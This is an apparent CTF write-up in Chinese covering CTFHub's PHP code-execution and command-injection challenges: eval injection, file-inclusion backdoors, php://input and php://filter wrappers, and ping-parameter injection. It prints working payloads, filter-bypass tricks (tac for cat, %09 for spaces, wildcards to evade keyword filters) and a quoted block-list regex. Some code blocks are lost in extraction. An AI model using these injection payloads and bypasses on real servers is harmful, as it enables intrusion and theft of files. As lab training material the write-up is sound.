ctfhub RCE代码执行和命令执行漏洞
目录
01-eval代码执行
代码审计
|
|
检测
传入cmd=phpinfo();, 被成功执行
|
|
利用
要获得flag,我们想看看当前目录内容,但是eval是代码执行函数不是系统命令执行函数,所以我们还需要配合system函数进行检查
|
|
有时候cat会被过滤,这时候可以使用
cat<或者tac替换
02-文件包含(后门)
代码审计出现include很明显文件包含漏洞
根据提示,增加file=shell.txt,与访问/shell.txt效果一致
参数file要存在于GET参数中,即url位置
方法1:网站后门原理
- shell.txt留下的是一个后门,通过include包含就会被解析
- 请求方法没有被限制
- 最重要的一点,shell.txt 使用了eval函数,被包含的时候可以执行php代码或者系统命令
|
|
请求对应的参数,添加post data
|
|
方法2:伪协议执行命令
- 通过伪协议复制shell.txt为shell.php
- 然后就可以通过antsword连接
03-php://input命令执行
注意发送post尽量使用burpsuite抓包,hackbar有时候会失败
04-文件包含(远程命令执行)
检测
提示发先有一个phpinfo.php可以直接访问,且存在文件包含漏洞
利用
- burpsuite 抓包,通过
file=php://input+POST_DATA:<?php system('cat ../../../flag');?> - cat即可
05-读取源码(php://filter)
- 利用
file=php://input执行命令不成功,没有任何返回 - 但是发现可以利用文件读取
file=php://filter/read=convert.base64-encode/resource=/flag - 最后base64解码即可
06-命令注入(无过滤)
比较简单,没有任何过滤,直接连接命令即可
07-命令注入(过滤cat)
同06-命令注入,把cat改成tac/tail等都可以
GET /?ip=127.0.0.1+%26+tac<flag_121201466518505.php HTTP/1.1
08-命令注入(过滤空格)
同06,去除空格即可,中间可以使用 | 或者 & 或者 ; 连接
GET /?ip=127.0.0.1%26cat<flag_225932429025074.php HTTP/1.1
09-命令注入(目录分隔符过滤)
注意本题
|和&都不成功,只有;可以
GET /?ip=127.0.0.1;cd flag_is_here;cat flag_526178376091.php HTTP/1.1
10-命令注入(&过滤)
使用分号即可
GET /?ip=127.0.0.1%3Bcat<flag_21354689519479.php HTTP/1.1
11-综合
|
|
命令分隔符被过滤
-
测试发现
|和&和;都被过滤1 2 3 4 5 6if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; }
路径部分关键字被过滤
- 通过
ls知道有一个flag_is_here文件夹,查看文件夹内容,ls flag_is_here却因为flag等关键字被过滤 - 利用tab的url编码
%09构成ls%09*here(注意星号)绕过,GET /?ip=127.0.0.1%0als%09*here HTTP/1.1,获得flag的文件名 - 同样进入文件夹flag_is_here也可以通过
%09绕过 - 由于
cat被过滤,可以使用tac绕过,如法炮制,获得flag_is_here路径下的flag文件名GET /?ip=127.0.0.1%0acd%09*here%0apwd%0atac%09*16870153813200.php HTTP/1.1